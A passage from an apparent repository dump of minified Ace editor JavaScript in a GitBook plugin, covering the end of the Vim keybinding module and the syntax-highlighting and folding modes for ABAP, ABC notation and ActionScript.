c=r.cursor?i.comparePoints(r.cursor,r.start)<=0:s.selection.isBackwards()||s.selection.isEmpty();!c&&l>u&&(l-=u)}!o.insertMode&&o.status&&(a/=2,f+=a),e.left=l+\"px\",e.top=f+\"px\",e.width=u+\"px\",e.height=a+\"px\"},handleKeyboard:function(e,t,n,r,i){var s=e.editor,o=s.state.cm,u=or(o);if(r==-1)return;if(n==\"c\"&&t==1){if(!c.isMac&&s.getCopyText())return s.once(\"copy\",function(){s.selection.clearSelection()}),{command:\"null\",passEvent:!0}}else u.insertMode||c.isMac&&this.handleMacRepeat(e,t,n)&&(t=-1,n=e.inputChar);if(t==-1||t&1||t===0&&n.length>1){var a=u.insertMode,f=nr(t,n,i||{});u.status==null&&(u.status=\"\");var l=sr(o,f,\"user\");u=or(o),l&&u.status!=null?u.status+=f:u.status==null&&(u.status=\"\"),o._signal(\"changeStatus\");if(!l&&(t!=-1||a))return;return{command:\"null\",passEvent:!l}}},attach:function(e){e.state||(e.state={});var t=new v(e);e.state.cm=t,e.$vimModeHandler=this,v.keyMap.vim.attach(t),or(t).status=null,t.on(\"vim-command-done\",function(){if(t.virtualSelectionMode())return;or(t).status=null,t.ace._signal(\"changeStatus\"),t.ace.session.markUndoGroup()}),t.on(\"changeStatus\",function(){t.ace.renderer.updateCursor(),t.ace._signal(\"changeStatus\")}),t.on(\"vim-mode-change\",function(){if(t.virtualSelectionMode())return;t.ace.renderer.setStyle(\"normal-mode\",!or(t).insertMode),t._signal(\"changeStatus\")}),t.ace.renderer.setStyle(\"normal-mode\",!or(t).insertMode),e.renderer.$cursorLayer.drawCursor=this.drawCursor.bind(t),this.updateMacCompositionHandlers(e,!0)},detach:function(e){var t=e.state.cm;v.keyMap.vim.detach(t),t.destroy(),e.state.cm=null,e.$vimModeHandler=null,e.renderer.$cursorLayer.drawCursor=null,e.renderer.setStyle(\"normal-mode\",!1),this.updateMacCompositionHandlers(e,!1)},getStatusText:function(e){var t=e.state.cm,n=or(t);if(n.insertMode)return\"INSERT\";var r=\"\";return n.visualMode&&(r+=\"VISUAL\",n.visualLine&&(r+=\" LINE\"),n.visualBlock&&(r+=\" BLOCK\")),n.status&&(r+=(r?\" \":\"\")+n.status),r},handleMacRepeat:function(e,t,n){if(t==-1)e.inputChar=n,e.lastEvent=\"input\";else if(e.inputChar&&e.$lastHash==t&&e.$lastKey==n){if(e.lastEvent==\"input\")e.lastEvent=\"input1\";else if(e.lastEvent==\"input1\")return!0}else e.$lastHash=t,e.$lastKey=n,e.lastEvent=\"keypress\"},updateMacCompositionHandlers:function(e,t){var n=function(t){var n=e.state.cm,r=or(n);if(!r.insertMode){var i=this.textInput.getElement();i.blur(),i.focus(),i.value=t}else this.onCompositionUpdateOrig(t)},r=function(t){var n=e.state.cm,r=or(n);r.insertMode||this.onCompositionStartOrig(t)};t?e.onCompositionUpdateOrig||(e.onCompositionUpdateOrig=e.onCompositionUpdate,e.onCompositionUpdate=n,e.onCompositionStartOrig=e.onCompositionStart,e.onCompositionStart=r):e.onCompositionUpdateOrig&&(e.onCompositionUpdate=e.onCompositionUpdateOrig,e.onCompositionUpdateOrig=null,e.onCompositionStart=e.onCompositionStartOrig,e.onCompositionStartOrig=null)}};var ur={getText:function(e,t){return(Math.abs(e.selection.lead.row-t)||t+1+(t<9?\"\\u00b7\":\"\"))+\"\"},getWidth:function(e,t,n){return e.getLength().toString().length*n.characterWidth},update:function(e,t){t.renderer.$loop.schedule(t.renderer.CHANGE_GUTTER)},attach:function(e){e.renderer.$gutterLayer.$renderer=this,e.on(\"changeSelection\",this.update)},detach:function(e){e.renderer.$gutterLayer.$renderer=null,e.off(\"changeSelection\",this.update)}};S.defineOption({name:\"wrap\",set:function(e,t){t&&t.ace.setOption(\"wrap\",e)},type:\"boolean\"},!1),S.defineEx(\"write\",\"w\",function(){console.log(\":write is not implemented\")}),b.push({keys:\"zc\",type:\"action\",action:\"fold\",actionArgs:{open:!1}},{keys:\"zC\",type:\"action\",action:\"fold\",actionArgs:{open:!1,all:!0}},{keys:\"zo\",type:\"action\",action:\"fold\",actionArgs:{open:!0}},{keys:\"zO\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"za\",type:\"action\",action:\"fold\",actionArgs:{toggle:!0}},{keys:\"zA\",type:\"action\",action:\"fold\",actionArgs:{toggle:!0,all:!0}},{keys:\"zf\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"zd\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"<C-A-k>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorAbove\"}},{keys:\"<C-A-j>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorBelow\"}},{keys:\"<C-A-S-k>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorAboveSkipCurrent\"}},{keys:\"<C-A-S-j>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorBelowSkipCurrent\"}},{keys:\"<C-A-h>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectMoreBefore\"}},{keys:\"<C-A-l>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectMoreAfter\"}},{keys:\"<C-A-S-h>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectNextBefore\"}},{keys:\"<C-A-S-l>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectNextAfter\"}}),yt.aceCommand=function(e,t,n){e.vimCmd=t,e.ace.inVirtualSelectionMode?e.ace.on(\"beforeEndOperation\",ar):ar(null,e.ace)},yt.fold=function(e,t,n){e.ace.execCommand([\"toggleFoldWidget\",\"toggleFoldWidget\",\"foldOther\",\"unfoldall\"][(t.all?2:0)+(t.open?1:0)])},t.handler.defaultKeymap=b,t.handler.actions=yt,t.Vim=S,S.map(\"Y\",\"yy\",\"normal\")})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-abap.js",
    "content": "define(\"ace/mode/abap_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"ADD ALIAS ALIASES ASSERT ASSIGN ASSIGNING AT BACK CALL CASE CATCH CHECK CLASS CLEAR CLOSE CNT COLLECT COMMIT COMMUNICATION COMPUTE CONCATENATE CONDENSE CONSTANTS CONTINUE CONTROLS CONVERT CREATE CURRENCY DATA DEFINE DEFINITION DEFERRED DELETE DESCRIBE DETAIL DIVIDE DO ELSE ELSEIF ENDAT ENDCASE ENDCLASS ENDDO ENDEXEC ENDFORM ENDFUNCTION ENDIF ENDIFEND ENDINTERFACE ENDLOOP ENDMETHOD ENDMODULE ENDON ENDPROVIDE ENDSELECT ENDTRY ENDWHILE EVENT EVENTS EXEC EXIT EXPORT EXPORTING EXTRACT FETCH FIELDS FORM FORMAT FREE FROM FUNCTION GENERATE GET HIDE IF IMPORT IMPORTING INDEX INFOTYPES INITIALIZATION INTERFACE INTERFACES INPUT INSERT IMPLEMENTATION LEAVE LIKE LINE LOAD LOCAL LOOP MESSAGE METHOD METHODS MODIFY MODULE MOVE MULTIPLY ON OVERLAY OPTIONAL OTHERS PACK PARAMETERS PERFORM POSITION PROGRAM PROVIDE PUT RAISE RANGES READ RECEIVE RECEIVING REDEFINITION REFERENCE REFRESH REJECT REPLACE REPORT RESERVE RESTORE RETURNING ROLLBACK SCAN SCROLL SEARCH SELECT SET SHIFT SKIP SORT SORTED SPLIT STANDARD STATICS STEP STOP SUBMIT SUBTRACT SUM SUMMARY SUPPRESS TABLES TIMES TRANSFER TRANSLATE TRY TYPE TYPES UNASSIGN ULINE UNPACK UPDATE WHEN WHILE WINDOW WRITE OCCURS STRUCTURE OBJECT PROPERTY CASTING APPEND RAISING VALUE COLOR CHANGING EXCEPTION EXCEPTIONS DEFAULT CHECKBOX COMMENT ID NUMBER FOR TITLE OUTPUT WITH EXIT USING INTO WHERE GROUP BY HAVING ORDER BY SINGLE APPENDING CORRESPONDING FIELDS OF TABLE LEFT RIGHT OUTER INNER JOIN AS CLIENT SPECIFIED BYPASSING BUFFER UP TO ROWS CONNECTING EQ NE LT LE GT GE NOT AND OR XOR IN LIKE BETWEEN\",\"constant.language\":\"TRUE FALSE NULL SPACE\",\"support.type\":\"c n i p f d t x string xstring decfloat16 decfloat34\",\"keyword.operator\":\"abs sign ceil floor trunc frac acos asin atan cos sin tan abapOperator cosh sinh tanh exp log log10 sqrt strlen xstrlen charlen numofchar dbmaxlen lines\"},\"text\",!0,\" \"),t=\"WITH\\\\W+(?:HEADER\\\\W+LINE|FRAME|KEY)|NO\\\\W+STANDARD\\\\W+PAGE\\\\W+HEADING|EXIT\\\\W+FROM\\\\W+STEP\\\\W+LOOP|BEGIN\\\\W+OF\\\\W+(?:BLOCK|LINE)|BEGIN\\\\W+OF|END\\\\W+OF\\\\W+(?:BLOCK|LINE)|END\\\\W+OF|NO\\\\W+INTERVALS|RESPECTING\\\\W+BLANKS|SEPARATED\\\\W+BY|USING\\\\W+(?:EDIT\\\\W+MASK)|WHERE\\\\W+(?:LINE)|RADIOBUTTON\\\\W+GROUP|REF\\\\W+TO|(?:PUBLIC|PRIVATE|PROTECTED)(?:\\\\W+SECTION)?|DELETING\\\\W+(?:TRAILING|LEADING)(?:ALL\\\\W+OCCURRENCES)|(?:FIRST|LAST)\\\\W+OCCURRENCE|INHERITING\\\\W+FROM|LINE-COUNT|ADD-CORRESPONDING|AUTHORITY-CHECK|BREAK-POINT|CLASS-DATA|CLASS-METHODS|CLASS-METHOD|DIVIDE-CORRESPONDING|EDITOR-CALL|END-OF-DEFINITION|END-OF-PAGE|END-OF-SELECTION|FIELD-GROUPS|FIELD-SYMBOLS|FUNCTION-POOL|MOVE-CORRESPONDING|MULTIPLY-CORRESPONDING|NEW-LINE|NEW-PAGE|NEW-SECTION|PRINT-CONTROL|RP-PROVIDE-FROM-LAST|SELECT-OPTIONS|SELECTION-SCREEN|START-OF-SELECTION|SUBTRACT-CORRESPONDING|SYNTAX-CHECK|SYNTAX-TRACE|TOP-OF-PAGE|TYPE-POOL|TYPE-POOLS|LINE-SIZE|LINE-COUNT|MESSAGE-ID|DISPLAY-MODE|READ(?:-ONLY)?|IS\\\\W+(?:NOT\\\\W+)?(?:ASSIGNED|BOUND|INITIAL|SUPPLIED)\";this.$rules={start:[{token:\"string\",regex:\"`\",next:\"string\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"doc.comment\",regex:/^\\*.+/},{token:\"comment\",regex:/\".+$/},{token:\"invalid\",regex:\"\\\\.{2,}\"},{token:\"keyword.operator\",regex:/\\W[\\-+\\%=<>*]\\W|\\*\\*|[~:,\\.&$]|->*?|=>/},{token:\"paren.lparen\",regex:\"[\\\\[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+\\\\b\"},{token:\"variable.parameter\",regex:/sy|pa?\\d\\d\\d\\d\\|t\\d\\d\\d\\.|innnn/},{token:\"keyword\",regex:t},{token:\"variable.parameter\",regex:/\\w+-\\w+(?:-\\w+)*/},{token:e,regex:\"\\\\b\\\\w+\\\\b\"},{caseInsensitive:!0}],qstring:[{token:\"constant.language.escape\",regex:\"''\"},{token:\"string\",regex:\"'\",next:\"start\"},{defaultToken:\"string\"}],string:[{token:\"constant.language.escape\",regex:\"``\"},{token:\"string\",regex:\"`\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.AbapHighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/abap\",[\"require\",\"exports\",\"module\",\"ace/mode/abap_highlight_rules\",\"ace/mode/folding/coffee\",\"ace/range\",\"ace/mode/text\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";function a(){this.HighlightRules=r,this.foldingRules=new i}var r=e(\"./abap_highlight_rules\").AbapHighlightRules,i=e(\"./folding/coffee\").FoldMode,s=e(\"../range\").Range,o=e(\"./text\").Mode,u=e(\"../lib/oop\");u.inherits(a,o),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);return r},this.toggleCommentLines=function(e,t,n,r){var i=new s(0,0,0,0);for(var o=n;o<=r;++o){var u=t.getLine(o);if(hereComment.test(u))continue;commentLine.test(u)?u=u.replace(commentLine,\"$1\"):u=u.replace(indentation,\"$&#\"),i.end.row=i.start.row=o,i.end.column=u.length+1,t.replace(i,u)}},this.$id=\"ace/mode/abap\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-abc.js",
    "content": "define(\"ace/mode/abc_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"zupfnoter.information.comment.line.percentage\",\"information.keyword\",\"in formation.keyword.embedded\"],regex:\"(%%%%)(hn\\\\.[a-z]*)(.*)\",comment:\"Instruction Comment\"},{token:[\"information.comment.line.percentage\",\"information.keyword.embedded\"],regex:\"(%%)(.*)\",comment:\"Instruction Comment\"},{token:\"comment.line.percentage\",regex:\"%.*\",comment:\"Comments\"},{token:\"barline.keyword.operator\",regex:\"[\\\\[:]*[|:][|\\\\]:]*(?:\\\\[?[0-9]+)?|\\\\[[0-9]+\",comment:\"Bar lines\"},{token:[\"information.keyword.embedded\",\"information.argument.string.unquoted\"],regex:\"(\\\\[[A-Za-z]:)([^\\\\]]*\\\\])\",comment:\"embedded Header lines\"},{token:[\"information.keyword\",\"information.argument.string.unquoted\"],regex:\"^([A-Za-z]:)([^%\\\\\\\\]*)\",comment:\"Header lines\"},{token:[\"text\",\"entity.name.function\",\"string.unquoted\",\"text\"],regex:\"(\\\\[)([A-Z]:)(.*?)(\\\\])\",comment:\"Inline fields\"},{token:[\"accent.constant.language\",\"pitch.constant.numeric\",\"duration.constant.numeric\"],regex:\"([\\\\^=_]*)([A-Ga-gz][,']*)([0-9]*/*[><0-9]*)\",comment:\"Notes\"},{token:\"zupfnoter.jumptarget.string.quoted\",regex:'[\\\\\"!]\\\\^\\\\:.*?[\\\\\"!]',comment:\"Zupfnoter jumptarget\"},{token:\"zupfnoter.goto.string.quoted\",regex:'[\\\\\"!]\\\\^\\\\@.*?[\\\\\"!]',comment:\"Zupfnoter goto\"},{token:\"zupfnoter.annotation.string.quoted\",regex:'[\\\\\"!]\\\\^\\\\!.*?[\\\\\"!]',comment:\"Zupfnoter annoation\"},{token:\"zupfnoter.annotationref.string.quoted\",regex:'[\\\\\"!]\\\\^\\\\#.*?[\\\\\"!]',comment:\"Zupfnoter annotation reference\"},{token:\"chordname.string.quoted\",regex:'[\\\\\"!]\\\\^.*?[\\\\\"!]',comment:\"abc chord\"},{token:\"string.quoted\",regex:'[\\\\\"!].*?[\\\\\"!]',comment:\"abc annotation\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"abc\"],name:\"ABC\",scopeName:\"text.abcnotation\"},r.inherits(s,i),t.ABCHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/abc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/abc_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./abc_highlight_rules\").ABCHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/abc\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-actionscript.js",
    "content": "define(\"ace/mode/actionscript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"support.class.actionscript.2\",regex:\"\\\\b(?:R(?:ecordset|DBMSResolver|adioButton(?:Group)?)|X(?:ML(?:Socket|Node|Connector)?|UpdateResolverDataHolder)|M(?:M(?:Save|Execute)|icrophoneMicrophone|o(?:use|vieClip(?:Loader)?)|e(?:nu(?:Bar)?|dia(?:Controller|Display|Playback))|ath)|B(?:yName|inding|utton)|S(?:haredObject|ystem|crollPane|t(?:yleSheet|age|ream)|ound|e(?:ndEvent|rviceObject)|OAPCall|lide)|N(?:umericStepper|et(?:stream|S(?:tream|ervices)|Connection|Debug(?:Config)?))|C(?:heckBox|o(?:ntextMenu(?:Item)?|okie|lor|m(?:ponentMixins|boBox))|ustomActions|lient|amera)|T(?:ypedValue|ext(?:Snapshot|Input|F(?:ield|ormat)|Area)|ree|AB)|Object|D(?:ownload|elta(?:Item|Packet)?|at(?:e(?:Chooser|Field)?|a(?:G(?:lue|rid)|Set|Type)))|U(?:RL|TC|IScrollBar)|P(?:opUpManager|endingCall|r(?:intJob|o(?:duct|gressBar)))|E(?:ndPoint|rror)|Video|Key|F(?:RadioButton|GridColumn|MessageBox|BarChart|S(?:croll(?:Bar|Pane)|tyleFormat|plitView)|orm|C(?:heckbox|omboBox|alendar)|unction|T(?:icker|ooltip(?:Lite)?|ree(?:Node)?)|IconButton|D(?:ataGrid|raggablePane)|P(?:ieChart|ushButton|ro(?:gressBar|mptBox))|L(?:i(?:stBox|neChart)|oadingBox)|AdvancedMessageBox)|W(?:indow|SDLURL|ebService(?:Connector)?)|L(?:ist|o(?:calConnection|ad(?:er|Vars)|g)|a(?:unch|bel))|A(?:sBroadcaster|cc(?:ordion|essibility)|S(?:Set(?:Native|PropFlags)|N(?:ew|ative)|C(?:onstructor|lamp(?:2)?)|InstanceOf)|pplication|lert|rray))\\\\b\"},{token:\"support.function.actionscript.2\",regex:\"\\\\b(?:s(?:h(?:ift|ow(?:GridLines|Menu|Border|Settings|Headers|ColumnHeaders|Today|Preferences)?|ad(?:ow|ePane))|c(?:hema|ale(?:X|Mode|Y|Content)|r(?:oll(?:Track|Drag)?|een(?:Resolution|Color|DPI)))|t(?:yleSheet|op(?:Drag|A(?:nimation|llSounds|gent))?|epSize|a(?:tus|rt(?:Drag|A(?:nimation|gent))?))|i(?:n|ze|lence(?:TimeOut|Level))|o(?:ngname|urce|rt(?:Items(?:By)?|On(?:HeaderRelease)?|able(?:Columns)?)?)|u(?:ppressInvalidCalls|bstr(?:ing)?)|p(?:li(?:ce|t)|aceCol(?:umnsEqually|lumnsEqually))|e(?:nd(?:DefaultPushButtonEvent|AndLoad)?|curity|t(?:R(?:GB|o(?:otNode|w(?:Height|Count))|esizable(?:Columns)?|a(?:nge|te))|G(?:ain|roupName)|X(?:AxisTitle)?|M(?:i(?:n(?:imum|utes)|lliseconds)|o(?:nth(?:Names)?|tionLevel|de)|ultilineMode|e(?:ssage|nu(?:ItemEnabled(?:At)?|EnabledAt)|dia)|a(?:sk|ximum))|B(?:u(?:tton(?:s|Width)|fferTime)|a(?:seTabIndex|ndwidthLimit|ckground))|S(?:howAsDisabled|croll(?:ing|Speed|Content|Target|P(?:osition|roperties)|barState|Location)|t(?:yle(?:Property)?|opOnFocus|at(?:us|e))|i(?:ze|lenceLevel)|ort(?:able(?:Columns)?|Function)|p(?:litterBarPosition|acing)|e(?:conds|lect(?:Multiple|ion(?:Required|Type)?|Style|Color|ed(?:Node(?:s)?|Cell|I(?:nd(?:ices|ex)|tem(?:s)?))?|able))|kin|m(?:oothness|allScroll))|H(?:ighlight(?:s|Color)|Scroll|o(?:urs|rizontal)|eader(?:Symbol|Height|Text|Property|Format|Width|Location)?|as(?:Shader|CloseBox))|Y(?:ear|AxisTitle)?|N(?:ode(?:Properties|ExpansionHandler)|ewTextFormat)|C(?:h(?:ildNodes|a(?:ngeHandler|rt(?:Title|EventHandler)))|o(?:ntent(?:Size)?|okie|lumns)|ell(?:Symbol|Data)|l(?:i(?:ckHandler|pboard)|oseHandler)|redentials)|T(?:ype(?:dVaule)?|i(?:tle(?:barHeight)?|p(?:Target|Offset)?|me(?:out(?:Handler)?)?)|oggle|extFormat|ransform)|I(?:s(?:Branch|Open)|n(?:terval|putProperty)|con(?:SymbolName)?|te(?:rator|m(?:ByKey|Symbol)))|Orientation|D(?:i(?:splay(?:Range|Graphics|Mode|Clip|Text|edMonth)|rection)|uration|e(?:pth(?:Below|To|Above)|fault(?:GatewayURL|Mappings|NodeIconSymbolName)|l(?:iveryMode|ay)|bug(?:ID)?)|a(?:yOfWeekNames|t(?:e(?:Filter)?|a(?:Mapping(?:s)?|Item(?:Text|Property|Format)|Provider|All(?:Height|Property|Format|Width))?))|ra(?:wConnectors|gContent))|U(?:se(?:Shadow|HandCursor|EchoSuppression|rInput|Fade)|TC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear))|P(?:osition|ercentComplete|an(?:e(?:M(?:inimumSize|aximumSize)|Size|Title))?|ro(?:pert(?:y(?:Data)?|iesAt)|gress))|E(?:nabled|dit(?:Handler|able)|xpand(?:NodeTrigger|erSymbolName))|V(?:Scroll|olume|alue(?:Source)?)|KeyFrameInterval|Quality|F(?:i(?:eld|rst(?:DayOfWeek|VisibleNode))|ocus|ullYear|ps|ade(?:InLength|OutLength)|rame(?:Color|Width))|Width|L(?:ine(?:Color|Weight)|o(?:opback|adTarget)|a(?:rgeScroll|bel(?:Source|Placement)?))|A(?:s(?:Boolean|String|Number)|n(?:yTypedValue|imation)|ctiv(?:e(?:State(?:Handler)?|Handler)|ateHandler)|utoH(?:ideScrollBar|eight)))?|paratorBefore|ek|lect(?:ion(?:Disabled|Unfocused)?|ed(?:Node(?:s)?|Child|I(?:nd(?:ices|ex)|tem(?:s)?)|Dat(?:e|a))?|able(?:Ranges)?)|rver(?:String)?)|kip|qrt|wapDepths|lice|aveToSharedObj|moothing)|h(?:scroll(?:Policy)?|tml(?:Text)?|i(?:t(?:Test(?:TextNearPos)?|Area)|de(?:BuiltInItems|Child)?|ghlight(?:2D|3D)?)|orizontal|e(?:ight|ader(?:Re(?:nderer|lease)|Height|Text))|P(?:osition|ageScrollSize)|a(?:s(?:childNodes|MP3|S(?:creen(?:Broadcast|Playback)|treaming(?:Video|Audio)|ort)|Next|OwnProperty|Pr(?:inting|evious)|EmbeddedVideo|VideoEncoder|A(?:ccesibility|udio(?:Encoder)?))|ndlerName)|LineScrollSize)|ye(?:sLabel|ar)|n(?:o(?:t|de(?:Name|Close|Type|Open|Value)|Label)|u(?:llValue|mChild(?:S(?:creens|lides)|ren|Forms))|e(?:w(?:Item|line|Value|LocationDialog)|xt(?:S(?:cene|ibling|lide)|TabIndex|Value|Frame)?)?|ame(?:s)?)|c(?:h(?:ildNodes|eck|a(?:nge(?:sPending)?|r(?:CodeAt|At))|r)|o(?:s|n(?:st(?:ant|ructor)|nect|c(?:urrency|at)|t(?:ent(?:Type|Path)?|ains|rol(?:Placement|lerPolicy))|denseWhite|version)|py|l(?:or|umn(?:Stretch|Name(?:s)?|Count))|m(?:p(?:onent|lete)|ment))|u(?:stomItems|ePoint(?:s)?|r(?:veTo|Value|rent(?:Slide|ChildSlide|Item|F(?:ocused(?:S(?:creen|lide)|Form)|ps))))|e(?:il|ll(?:Renderer|Press|Edit|Focus(?:In|Out)))|l(?:i(?:ck|ents)|o(?:se(?:Button|Pane)?|ne(?:Node)?)|ear(?:S(?:haredObjects|treams)|Timeout|Interval)?)|a(?:ncelLabel|tch|p(?:tion|abilities)|l(?:cFields|l(?:e(?:e|r))?))|reate(?:GatewayConnection|Menu|Se(?:rver|gment)|C(?:hild(?:AtDepth)?|l(?:ient|ass(?:ChildAtDepth|Object(?:AtDepth)?))|all)|Text(?:Node|Field)|Item|Object(?:AtDepth)?|PopUp|E(?:lement|mptyMovieClip)))|t(?:h(?:is|row)|ype(?:of|Name)?|i(?:tle(?:StyleDeclaration)?|me(?:out)?)|o(?:talTime|String|olTipText|p|UpperCase|ggle(?:HighQuality)?|Lo(?:caleString|werCase))|e(?:st|llTarget|xt(?:RightMargin|Bold|S(?:ize|elected)|Height|Color|I(?:ndent|talic)|Disabled|Underline|F(?:ield|ont)|Width|LeftMargin|Align)?)|a(?:n|rget(?:Path)?|b(?:Stops|Children|Index|Enabled|leName))|r(?:y|igger|ac(?:e|k(?:AsMenu)?)))|i(?:s(?:Running|Branch|NaN|Con(?:soleOpen|nected)|Toggled|Installed|Open|D(?:own|ebugger)|P(?:urchased|ro(?:totypeOf|pertyEnumerable))|Empty|F(?:inite|ullyPopulated)|Local|Active)|n(?:s(?:tall|ertBefore)|cludeDeltaPacketInfo|t|it(?:ialize|Component|Pod|A(?:pplication|gent))?|de(?:nt|terminate|x(?:InParent(?:Slide|Form)?|Of)?)|put|validate|finity|LocalInternetCache)?|con(?:F(?:ield|unction))?|t(?:e(?:ratorScrolled|m(?:s|RollO(?:ut|ver)|ClassName))|alic)|d3|p|fFrameLoaded|gnore(?:Case|White))|o(?:s|n(?:R(?:ollO(?:ut|ver)|e(?:s(?:ize|ult)|l(?:ease(?:Outside)?|aseOutside)))|XML|Mouse(?:Move|Down|Up|Wheel)|S(?:ync|croller|tatus|oundComplete|e(?:tFocus|lect(?:edItem)?))|N(?:oticeEvent|etworkChange)|C(?:hanged|onnect|l(?:ipEvent